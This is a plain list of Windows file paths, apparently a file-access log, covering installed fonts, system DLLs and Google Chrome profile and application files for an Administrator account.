        C:\WINDOWS\FONTS\BELL.TTF
        C:\WINDOWS\FONTS\BRLNSB.TTF
        C:\WINDOWS\FONTS\BERNHC.TTF
        C:\WINDOWS\FONTS\BOD_PSTC.TTF
        C:\WINDOWS\FONTS\BRITANIC.TTF
        C:\WINDOWS\FONTS\BROADW.TTF
        C:\WINDOWS\FONTS\BRUSHSCI.TTF
        C:\WINDOWS\FONTS\CALIFR.TTF
        C:\WINDOWS\FONTS\CENTAUR.TTF
        C:\WINDOWS\FONTS\GOTHIC.TTF
        C:\WINDOWS\FONTS\CHILLER.TTF
        C:\WINDOWS\FONTS\COLONNA.TTF
        C:\WINDOWS\FONTS\COOPBL.TTF
        C:\WINDOWS\FONTS\FTLTLT.TTF
        C:\WINDOWS\FONTS\FREESCPT.TTF
        C:\WINDOWS\FONTS\HARLOWSI.TTF
        C:\WINDOWS\FONTS\HARNGTON.TTF
        C:\WINDOWS\FONTS\HTOWERT.TTF
        C:\WINDOWS\FONTS\JOKERMAN.TTF
        C:\WINDOWS\FONTS\JUICE___.TTF
        C:\WINDOWS\FONTS\ITCKRIST.TTF
        C:\WINDOWS\FONTS\KUNSTLER.TTF
        C:\WINDOWS\FONTS\LBRITE.TTF
        C:\WINDOWS\FONTS\LCALLIG.TTF
        C:\WINDOWS\FONTS\LFAX.TTF
        C:\WINDOWS\FONTS\LHANDW.TTF
        C:\WINDOWS\FONTS\MAGNETOB.TTF
        C:\WINDOWS\FONTS\MATURASC.TTF
        C:\WINDOWS\FONTS\MISTRAL.TTF
        C:\WINDOWS\FONTS\MOD20.TTF
        C:\WINDOWS\FONTS\MTCORSVA.TTF
        C:\WINDOWS\FONTS\NIAGENG.TTF
        C:\WINDOWS\FONTS\NIAGSOL.TTF
        C:\WINDOWS\FONTS\OLDENGL.TTF
        C:\WINDOWS\FONTS\ONYX.TTF
        C:\WINDOWS\FONTS\PARCHM.TTF
        C:\WINDOWS\FONTS\PLAYBILL.TTF
        C:\WINDOWS\FONTS\POORICH.TTF
        C:\WINDOWS\FONTS\RAVIE.TTF
        C:\WINDOWS\FONTS\INFROMAN.TTF
        C:\WINDOWS\FONTS\SHOWG.TTF
        C:\WINDOWS\FONTS\SNAP____.TTF
        C:\WINDOWS\FONTS\STENCIL.TTF
        C:\WINDOWS\FONTS\TEMPSITC.TTF
        C:\WINDOWS\FONTS\VINERITC.TTF
        C:\WINDOWS\FONTS\VIVALDII.TTF
        C:\WINDOWS\FONTS\VLADIMIR.TTF
        C:\WINDOWS\FONTS\LATINWD.TTF
        C:\WINDOWS\FONTS\TCM_____.TTF
        C:\WINDOWS\FONTS\TCCB____.TTF
        C:\WINDOWS\FONTS\TCCM____.TTF
        C:\WINDOWS\FONTS\TCB_____.TTF
        C:\WINDOWS\FONTS\SCRIPTBL.TTF
        C:\WINDOWS\FONTS\ROCKEB.TTF
        C:\WINDOWS\FONTS\ROCC____.TTF
        C:\WINDOWS\FONTS\ROCK.TTF
        C:\WINDOWS\FONTS\RAGE.TTF
        C:\WINDOWS\FONTS\PRISTINA.TTF
        C:\WINDOWS\FONTS\PERTIBD.TTF
        C:\WINDOWS\FONTS\PER_____.TTF
        C:\WINDOWS\FONTS\PAPYRUS.TTF
        C:\WINDOWS\FONTS\PALSCRI.TTF
        C:\WINDOWS\FONTS\OCRAEXT.TTF
        C:\WINDOWS\FONTS\MAIAN.TTF
        C:\WINDOWS\FONTS\LTYPE.TTF
        C:\WINDOWS\FONTS\LSANS.TTF
        C:\WINDOWS\FONTS\IMPRISHA.TTF
        C:\WINDOWS\FONTS\HATTEN.TTF
        C:\WINDOWS\FONTS\GOUDYSTO.TTF
        C:\WINDOWS\FONTS\GOUDOS.TTF
        C:\WINDOWS\FONTS\GLECB.TTF
        C:\WINDOWS\FONTS\GILLUBCD.TTF
        C:\WINDOWS\FONTS\GILSANUB.TTF
        C:\WINDOWS\FONTS\GILC____.TTF
        C:\WINDOWS\FONTS\GIL_____.TTF
        C:\WINDOWS\FONTS\GLSNECB.TTF
        C:\WINDOWS\FONTS\GIGI.TTF
        C:\WINDOWS\FONTS\GARA.TTF
        C:\WINDOWS\FONTS\FRSCRIPT.TTF
        C:\WINDOWS\FONTS\FRAMDCN.TTF
        C:\WINDOWS\FONTS\FRAHV.TTF
        C:\WINDOWS\FONTS\FRADMCN.TTF
        C:\WINDOWS\FONTS\FRADM.TTF
        C:\WINDOWS\FONTS\FRABK.TTF
        C:\WINDOWS\FONTS\FORTE.TTF
        C:\WINDOWS\FONTS\FELIXTI.TTF
        C:\WINDOWS\FONTS\ERASMD.TTF
        C:\WINDOWS\FONTS\ERASLGHT.TTF
        C:\WINDOWS\FONTS\ERASDEMI.TTF
        C:\WINDOWS\FONTS\ERASBD.TTF
        C:\WINDOWS\FONTS\ENGR.TTF
        C:\WINDOWS\FONTS\ELEPHNT.TTF
        C:\WINDOWS\FONTS\ITCEDSCR.TTF
        C:\WINDOWS\FONTS\CURLZ___.TTF
        C:\WINDOWS\FONTS\COPRGTL.TTF
        C:\WINDOWS\FONTS\COPRGTB.TTF
        C:\WINDOWS\FONTS\CENSCBK.TTF
        C:\WINDOWS\FONTS\CASTELAR.TTF
        C:\WINDOWS\FONTS\CALIST.TTF
        C:\WINDOWS\FONTS\BRADHITC.TTF
        C:\WINDOWS\FONTS\BOOKOS.TTF
        C:\WINDOWS\FONTS\BKANT.TTF
        C:\WINDOWS\FONTS\BOD_CR.TTF
        C:\WINDOWS\FONTS\BOD_BLAR.TTF
        C:\WINDOWS\FONTS\BOD_R.TTF
        C:\WINDOWS\FONTS\ITCBLKAD.TTF
        C:\WINDOWS\FONTS\ARLRDBD.TTF
        C:\WINDOWS\FONTS\ARIALN.TTF
        C:\WINDOWS\FONTS\AGENCYB.TTF
        C:\WINDOWS\FONTS\OUTLOOK.TTF
        C:\WINDOWS\FONTS\BSSYM7.TTF
        C:\WINDOWS\FONTS\REFSAN.TTF
        C:\WINDOWS\FONTS\REFSPCL.TTF
        C:\WINDOWS\FONTS\BELLB.TTF
        C:\WINDOWS\FONTS\BELLI.TTF
        C:\WINDOWS\FONTS\BRLNSDB.TTF
        C:\WINDOWS\FONTS\BRLNSR.TTF
        C:\WINDOWS\FONTS\CALIFB.TTF
        C:\WINDOWS\FONTS\CALIFI.TTF
        C:\WINDOWS\FONTS\GOTHICB.TTF
        C:\WINDOWS\FONTS\GOTHICBI.TTF
        C:\WINDOWS\FONTS\GOTHICI.TTF
        C:\WINDOWS\FONTS\HTOWERTI.TTF
        C:\WINDOWS\FONTS\LBRITED.TTF
        C:\WINDOWS\FONTS\LBRITEDI.TTF
        C:\WINDOWS\FONTS\LBRITEI.TTF
        C:\WINDOWS\FONTS\LFAXD.TTF
        C:\WINDOWS\FONTS\LFAXDI.TTF
        C:\WINDOWS\FONTS\LFAXI.TTF
        C:\WINDOWS\FONTS\TCMI____.TTF
        C:\WINDOWS\FONTS\TCCEB.TTF
        C:\WINDOWS\FONTS\TCBI____.TTF
        C:\WINDOWS\FONTS\ROCCB___.TTF
        C:\WINDOWS\FONTS\ROCKB.TTF
        C:\WINDOWS\FONTS\ROCKBI.TTF
        C:\WINDOWS\FONTS\ROCKI.TTF
        C:\WINDOWS\FONTS\PERTILI.TTF
        C:\WINDOWS\FONTS\PERBI___.TTF
        C:\WINDOWS\FONTS\PERB____.TTF
        C:\WINDOWS\FONTS\PERI____.TTF
        C:\WINDOWS\FONTS\LTYPEB.TTF
        C:\WINDOWS\FONTS\LTYPEBO.TTF
        C:\WINDOWS\FONTS\LTYPEO.TTF
        C:\WINDOWS\FONTS\LSANSD.TTF
        C:\WINDOWS\FONTS\LSANSDI.TTF
        C:\WINDOWS\FONTS\LSANSI.TTF
        C:\WINDOWS\FONTS\GOUDOSB.TTF
        C:\WINDOWS\FONTS\GOUDOSI.TTF
        C:\WINDOWS\FONTS\GILBI___.TTF
        C:\WINDOWS\FONTS\GILB____.TTF
        C:\WINDOWS\FONTS\GILI____.TTF
        C:\WINDOWS\FONTS\GARABD.TTF
        C:\WINDOWS\FONTS\GARAIT.TTF
        C:\WINDOWS\FONTS\FRAHVIT.TTF
        C:\WINDOWS\FONTS\FRADMIT.TTF
        C:\WINDOWS\FONTS\FRABKIT.TTF
        C:\WINDOWS\FONTS\ELEPHNTI.TTF
        C:\WINDOWS\FONTS\SCHLBKB.TTF
        C:\WINDOWS\FONTS\SCHLBKBI.TTF
        C:\WINDOWS\FONTS\SCHLBKI.TTF
        C:\WINDOWS\FONTS\CALISTB.TTF
        C:\WINDOWS\FONTS\CALISTBI.TTF
        C:\WINDOWS\FONTS\CALISTI.TTF
        C:\WINDOWS\FONTS\BOOKOSB.TTF
        C:\WINDOWS\FONTS\BOOKOSBI.TTF
        C:\WINDOWS\FONTS\BOOKOSI.TTF
        C:\WINDOWS\FONTS\ANTQUAB.TTF
        C:\WINDOWS\FONTS\ANTQUABI.TTF
        C:\WINDOWS\FONTS\ANTQUAI.TTF
        C:\WINDOWS\FONTS\BOD_CB.TTF
        C:\WINDOWS\FONTS\BOD_CBI.TTF
        C:\WINDOWS\FONTS\BOD_CI.TTF
        C:\WINDOWS\FONTS\BOD_BLAI.TTF
        C:\WINDOWS\FONTS\BOD_B.TTF
        C:\WINDOWS\FONTS\BOD_BI.TTF
        C:\WINDOWS\FONTS\BOD_I.TTF
        C:\WINDOWS\FONTS\ARIALNB.TTF
        C:\WINDOWS\FONTS\ARIALNBI.TTF
        C:\WINDOWS\FONTS\ARIALNI.TTF
        C:\WINDOWS\FONTS\AGENCYR.TTF
        C:\WINDOWS\FONTS\MARLETT.TTF
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC6.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\EN-US\MSCTF.DLL.MUI
        C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GOOGLE PROFILE PICTURE.PNG
        C:\WINDOWS\SYSTEM32\MSCMS.DLL
        C:\WINDOWS\SYSTEM32\SPOOL\DRIVERS\COLOR\SRGB COLOR SPACE PROFILE.ICM
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\WINSTA.DLL
        C:\WINDOWS\SYSTEM32\MMDEVAPI.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\INDEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_0
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_1
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_3
        C:\WINDOWS\SYSTEM32\WPC.DLL
        C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCKFILE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LAST VERSION
        C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\SAMCLI.DLL
        C:\WINDOWS\SYSTEM32\SAMLIB.DLL
        C:\WINDOWS\SYSTEM32\CREDSSP.DLL
        C:\WINDOWS\SYSTEM32\FIREWALLAPI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\FD3FB159-33B0-4F67-BFE0-7C71D504E9FA.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\MEDIA HISTORY
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\VISITED LINKS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\HISTORY
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\BOOKMARKS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\FAVICONS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOGIN DATA
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\ACCOUNTS\AVATAR IMAGES\115561181353246466193
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\DICTIONARIES\EN-US-9-0.BDIC
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\IPMALWARE.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLSOCENG.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\RECOVERYIMPROVED
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SUBRESOURCE FILTER\INDEXED RULES\28\9.22.0\RULESET DATA
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\WIDEVINECDM\MANIFEST.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\PNACL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\WIDEVINECDM
        C:\WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\FLOC\1.0.6\MANIFEST.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\FLOC\1.0.6\MANIFEST.FINGERPRINT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SUBRESOURCE FILTER\UNINDEXED RULES\9.22.0\MANIFEST.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SUBRESOURCE FILTER\UNINDEXED RULES\9.22.0\MANIFEST.FINGERPRINT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ONDEVICEHEADSUGGESTMODEL\20210507.373283852\MANIFEST.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ONDEVICEHEADSUGGESTMODEL\20210507.373283852\MANIFEST.FINGERPRINT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SSLERRORASSISTANT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\FILETYPEPOLICIES
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CERTIFICATEREVOCATION
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ORIGINTRIALS
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\MEIPRELOAD\MANIFEST.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\MEIPRELOAD
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SWREPORTER
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\THIRDPARTYMODULELIST64
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFETYTIPS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CROWD DENY
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\HYPHEN-DATA
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ZXCVBNDATA
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\AUTOFILLSTATES
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\AUTOFILLREGEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\LOG.OLD~RF330EE.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\15FCB0CD-6D7A-432B-BFD9-3185EC9B23BC.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\TABS_13265622811205667
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\TABS_13265536074708261
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\TOP SITES
        C:\WINDOWS\SYSTEM32\EXPLORERFRAME.DLL
        C:\WINDOWS\SYSTEM32\DUSER.DLL
        C:\WINDOWS\SYSTEM32\DUI70.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLMALWARE.STORE
        C:\WINDOWS\SYSTEM32\WLANAPI.DLL
        C:\WINDOWS\SYSTEM32\WLANUTIL.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLUWS.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES~RF3318A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\NMMHKKEGCCAGDLDGIIMEDPICCMGMIEDA\1.0.0.6_0\_METADATA\VERIFIED_CONTENTS.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\45BCE3F9-B0DC-4550-A708-EBC580CD40BC.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CODE CACHE\WASM\INDEX-DIR\THE-REAL-INDEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CODE CACHE\JS\INDEX-DIR\THE-REAL-INDEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\LOG.OLD~RF3319A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLMALBIN.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\INDEX
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\LOG.OLD~RF3319A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\NMMHKKEGCCAGDLDGIIMEDPICCMGMIEDA\1.0.0.6_0\_METADATA\COMPUTED_HASHES.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\CHROMEEXTMALWARE.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_0
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_1
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\CERTCSDDOWNLOADWHITELIST.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_3
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\CHROMEURLCLIENTINCIDENT.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLBILLING.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLCSDDOWNLOADWHITELIST.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLCSDWHITELIST.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\_METADATA\VERIFIED_CONTENTS.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLSUBRESOURCEFILTER.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLSUSPICIOUSSITE.STORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\_METADATA\COMPUTED_HASHES.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLHIGHCONFIDENCEALLOWLIST.STORE
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\DEFAULT_APPS\EXTERNAL_EXTENSIONS.JSON
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\TZRES.DLL
        C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\02154C37-3F85-453C-8A76-53E8FE50073E.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\02154C37-3F85-453C-8A76-53E8FE50073E.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\MIRRORING_COMMON.JS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\COMMON.JS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\BACKGROUND_SCRIPT.JS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\_LOCALES\EN\MESSAGES.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\LOG.OLD~RF33523.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\000003.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\LOG.OLD~RF33532.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\LOCK
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\CURRENT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\MANIFEST-000001
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000008.LOG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000007.LDB
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000005.LDB
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\FD3AEBF6-FDE9-4371-8C28-147437625B0A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\FD3AEBF6-FDE9-4371-8C28-147437625B0A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SECURE PREFERENCES~RF3367A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\D14E66F5-ABF6-4692-B595-CE078BF67768.TMP
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\CEDE75D8-C5AE-4D61-B7EE-D3A8DEBE144F.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\CEDE75D8-C5AE-4D61-B7EE-D3A8DEBE144F.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES~RF3368A.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\LOG.OLD~RF33699.TMP
